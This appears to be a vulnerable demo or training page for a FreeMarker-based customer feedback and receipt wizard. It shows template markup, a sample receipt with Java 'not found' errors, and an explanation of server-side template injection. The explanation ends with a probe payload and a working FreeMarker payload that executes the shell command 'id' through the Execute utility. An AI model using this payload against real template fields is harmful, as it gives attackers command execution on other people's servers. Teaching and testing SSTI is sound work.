PulseFeedback â€” Onboarding Survey & Customer Receipt Wizard (Apache FreeMarker)

Customer Feedback Survey Inputs

Tokens: ${user.name} ${user.company} ${survey.product}

Customer Contact

Organization Account

Acknowledgment Header (FreeMarker Supported)

Customer Feedback & Feature Review (FreeMarker Engine) FreeMarker 2.3.32

<div class="receipt-quote mb-3">
    <p class="mb-2">"Our engineering teams across <strong>${user.company}</strong> have completed pilot deployment for <strong>${survey.product}</strong>. System reliability and real-time telemetry have exceeded our enterprise criteria."</p>
    <div class="small text-warning">&starf;&starf;&starf;&starf;&starf; <strong>${survey.score}</strong></div>
</div>

<div class="p-3 rounded-2 mb-3" style="background: rgba(245, 158, 11, 0.08); border: 1px solid rgba(245, 158, 11, 0.25);">
    <div class="small text-muted mb-1">Loyalty Account Credited:</div>
    <div class="fw-bold text-white">${user.loyaltyTier} &bull; ${user.points} Priority Points</div>
    <div class="small text-secondary mt-1">Voucher applied: <code>${company.discountVoucher}</code></div>
</div>

<p class="small text-secondary mb-0">Generated by PulseFeedback Automated Survey Engine &bull; Support: ${company.supportEmail}</p>

Engine: Java (Apache FreeMarker 2.3.32)

Live Customer Confirmation Receipt

PulseFeedback

Official Customer Feedback Acknowledgment

VERIFIED SUBMISSION

Ref: FBK-2026-9042

env: 'java': No such file or directory

Alex Morgan

September 2026

Verified Enterprise

env: 'java': No such file or directory

Digital Signature: SHA256:7f4a91c8...

How SSTI occurs in Feedback & Onboarding Wizards:

Customer onboarding forms and automated receipt generators frequently interpolate feedback fields into confirmation documents using Apache FreeMarker (${...}). FreeMarker provides built-in utilities that allow arbitrary shell command execution:

Arithmetic test: ${ 7*7 }

Arbitrary Command Execution: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }